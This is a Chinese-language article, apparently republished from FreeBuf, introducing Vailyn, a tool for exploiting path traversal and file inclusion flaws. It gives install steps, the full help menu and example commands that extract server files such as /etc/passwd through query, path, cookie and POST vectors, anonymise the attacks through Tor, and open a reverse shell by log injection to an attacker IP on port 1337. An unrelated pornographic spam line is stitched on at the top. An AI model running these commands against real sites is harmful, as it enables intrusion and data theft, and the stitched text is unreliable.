自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

如何利用Vailyn識別路徑遍歷和文件包含漏洞

安全 數(shù)據(jù)安全
Vailyn是一款多階段漏洞分析和利用工具,可以幫助廣大研究人員分析、識別和利用路徑遍歷漏洞以及文件包含漏洞。該工具的性能非常強,并且害實現(xiàn)了大量的過濾規(guī)避技術。

[[433744]]

關于Vailyn

Vailyn是一款多階段漏洞分析和利用工具,可以幫助廣大研究人員分析、識別和利用路徑遍歷漏洞以及文件包含漏洞。該工具的性能非常強,并且害實現(xiàn)了大量的過濾規(guī)避技術。

Vailyn的操作分為兩個階段。首先,它可以嘗試訪問/etc/passwd或用戶指定的文件來檢測漏洞是否存在。此時,我們可以自由選擇使用哪些Payload,而第二階段該工具將會使用我們所選擇的Payload。

第二階段是漏洞利用階段?,F(xiàn)在,該工具將會嘗試使用文件和目錄字典從目標服務器提取所有可能的文件。搜索深度和目錄排列級別可以通過參數(shù)進行調整?;蛘?,它可以下載找到的文件,并將它們保存在其loot文件夾中。除此之外,Vailyn還會嘗試在目標系統(tǒng)上獲取一個反向Shell,并允許攻擊者獲得對目標服務器的完全控制。

當前版本的Vailyn支持多種攻擊向量:通過查詢實現(xiàn)注入、路徑、Cookie和POST數(shù)據(jù)等。

工具安裝

我們建議的Vailyn運行環(huán)境為Python 3.7+,但理論上來說該工具應當適用于Python 3.5或Python 3.6環(huán)境。

如需安裝Vailyn,可以直接訪問該項目的【Releases頁面】下載工具文檔,或使用下列命令將該項目源碼克隆至本地:

  1. $ git clone https://github.com/VainlyStrain/Vailyn 

下載好項目源碼之后,我們則需要安裝好該工具所需的Python依賴組件。

(1) Unix系統(tǒng)

在Unix系統(tǒng)上,可以直接運行下列命令:

  1. $ pip install -r requirements.txt   # --user 

(2) Windows系統(tǒng)

在Windows系統(tǒng)上,可以直接使用pip命令來安裝“Vailyn\·›\requirements-windows.txt”中列出的依賴組件。

(3) 最后一步

如果你想要使用反向Shell模塊的完整功能,我們還需要安裝sshpass、ncat和konsole。

接下來,我們就可以直接運行下列命令來使用Vailyn了:

  1. $ python Vailyn -h 

工具使用

Vailyn提供了三個必要參數(shù):-v VIC, -a INT和-p2 TP P1 P2。如果使用了-a參數(shù)的話,則可以支持更多選項。

  1. ,                \                  /               , 
  2.  
  3.      ':.             \.      /\.     ./            .:' 
  4.  
  5.         ':;.          :\ .,:/   ''. /;        ..::' 
  6.  
  7.            ',':.,.__.'' '          ' `:.__:''.:' 
  8.  
  9.               ';..                        ,;'     * 
  10.  
  11.        *         '.,                   .:' 
  12.  
  13.                     `v;.            ;v'        o 
  14.  
  15.               .      '  '..      :.' '     . 
  16.  
  17.                      '     ':;, '    ' 
  18.  
  19.             o                '          .   :         
  20.  
  21.                                            * 
  22.                          | Vailyn | 
  23.  
  24.                       [ VainlyStrain ]     
  25. Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2 
  26.  
  27.         [-p PAM] [-i F] [-Pi VIC2] 
  28.  
  29.       [-c C] [-n] [-d I J K] 
  30.  
  31.        [-s T] [-t] [-L] 
  32.  
  33.   [-l] [-P] [-A]  
  34.  
  35. mandatory: 
  36.  
  37.   -v VIC, --victim VIC  Target to attack, part 1 [pre-payload] 
  38.  
  39.   -a INT, --attack INT  Attack type (int, 1-5, or A) 
  40.  
  41.     A|  Spider (all)       2|  Path               5|  POST Data, json 
  42.  
  43.     P|  Spider (partial)   3|  Cookie 
  44.  
  45.     1|  Query Parameter    4|  POST Data, plain 
  46.  
  47.   -p2 TP P1 P2, --phase2 TP P1 P2 
  48.  
  49.                         Attack in Phase 2, and needed parameters 
  50.   
  51. ┌[ Values ]─────────────┬────────────────────┐ 
  52.  
  53. │ TP      │ P1          │ P2                 │ 
  54.  
  55. ├─────────┼─────────────┼────────────────────┤ 
  56.  
  57. │ leak    │ File Dict   │ Directory Dict     │ 
  58.  
  59. │ inject  │ IP Addr     │ Listening Port     │ 
  60.  
  61. │ implant │ Source File │ Server Destination │ 
  62.  
  63. └─────────┴─────────────┴────────────────────┘ 
  64.  
  65.   
  66.  
  67. additional: 
  68.  
  69.   -p PAM, --param PAM   query parameter or POST data for --attack 1, 4, 5 
  70.  
  71.   -i F, --check F       File to check for in Phase 1 (df: etc/passwd) 
  72.  
  73.   -Pi VIC2, --vic2 VIC2 Attack Target, part 2 [post-payload] 
  74.  
  75.   -c C, --cookie C      Cookie to append (in header format) 
  76.  
  77.   -l, --loot            Download found files into the loot folder 
  78.  
  79.   -d I J K, --depths I J K 
  80.  
  81.                         depths (I: phase 1, J: phase 2, K: permutation level) 
  82.  
  83.   -h, --help            show this help menu and exit 
  84.  
  85.   -s T, --timeout T     Request Timeout; stable switch for Arjun 
  86.  
  87.   -t, --tor             Pipe attacks through the Tor anonymity network 
  88.  
  89.   -L, --lfi             Additionally use PHP wrappers to leak files 
  90.  
  91.   -n, --nosploit        skip Phase 2 (does not need -p2 TP P1 P2) 
  92.  
  93.   -P, --precise         Use exact depth in Phase 1 (not a range) 
  94.  
  95.   -A, --app             Start Vailyn's Qt5 interface 
  96.  
  97.   
  98.  
  99. develop: 
  100.  
  101.   --debug               Display every path tried, even 404s. 
  102.  
  103.   --version             Print program version and exit. 
  104.  
  105.   --notmain             Avoid notify2 crash in subprocess call.  
  106.  
  107. Info: 
  108.  
  109.   to leak files using absolute paths: -d 0 0 0 
  110.  
  111.   to get a shell using absolute paths: -d 0 X 0 

Vailyn當前支持五種攻擊向量,并且提供了自動化爬蟲。我們可以通過-a INT參數(shù)來選擇需要執(zhí)行的攻擊:

  1. INT        attack 
  2.  
  3. ----       ------- 
  4.  
  5. 1          query-based attack  (https://site.com?file=../../../) 
  6.  
  7. 2          path-based attack   (https://site.com/../../../) 
  8.  
  9. 3          cookie-based attack (will grab the cookies for you) 
  10.  
  11. 4          plain post data     (ELEM1=VAL1&ELEM2=../../../) 
  12.  
  13. 5          json post data      ({"file": "../../../"}) 
  14.  
  15. A          spider              fetch + analyze all URLs from site using all vectors 
  16.  
  17. P          partial spider      fetch + analyze all URLs from site using only selected vectors 

工具使用演示

簡單的查詢攻擊,第二階段文件提?。?/p>

  1. $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT 

簡單的查詢,但知道file.php已存在:

  1. $ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P 

簡單的路徑攻擊:

  1. $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT 

路徑攻擊,但需要查詢參數(shù)和標簽:

  1. $ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title 

簡單的Cookie攻擊:

  1. $ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs 

POST Plain攻擊:

  1. $ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT

POST JSON攻擊:

  1. $ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}' 

攻擊,但目標存在登錄界面:

  1. $ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar

攻擊,但需要一個反向Shell(端口1337):

  1. $ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # a high Phase 2 Depth is needed for log injection 

完全的爬蟲自動化模式:

  1. $ Vailyn -v "http://root-url.site" -a A 

工具演示視頻

視頻地址:【點我觀看

項目地址

Vailyn:【GitHub傳送門

 

責任編輯:趙寧寧 來源: FreeBuf
相關推薦

2017-07-17 13:30:31

2009-07-06 17:47:44

2017-05-02 09:02:14

2009-12-09 09:49:40

2020-10-13 10:29:31

面部識別設備惡意攻擊漏洞

2010-03-02 14:55:18

2025-04-03 10:01:14

2011-04-13 17:28:21

2015-04-02 16:26:39

漏洞檢測工具Kadimus

2011-05-18 09:47:48

2025-02-21 08:10:00

漏洞網(wǎng)絡安全網(wǎng)絡攻擊

2011-03-18 10:23:27

2010-08-02 16:15:20

ibmdwLinux

2021-10-14 13:14:12

安全供應鏈漏洞威脅

2021-12-26 07:43:50

aDLLDLL漏洞

2021-03-26 13:49:29

人工智能AI深度學習

2009-02-02 22:23:15

2009-07-06 17:34:20

PEARMail函數(shù)php

2015-08-05 09:40:26

2018-01-24 15:35:22

Linux隱藏文件管理器
點贊
收藏

51CTO技術棧公眾號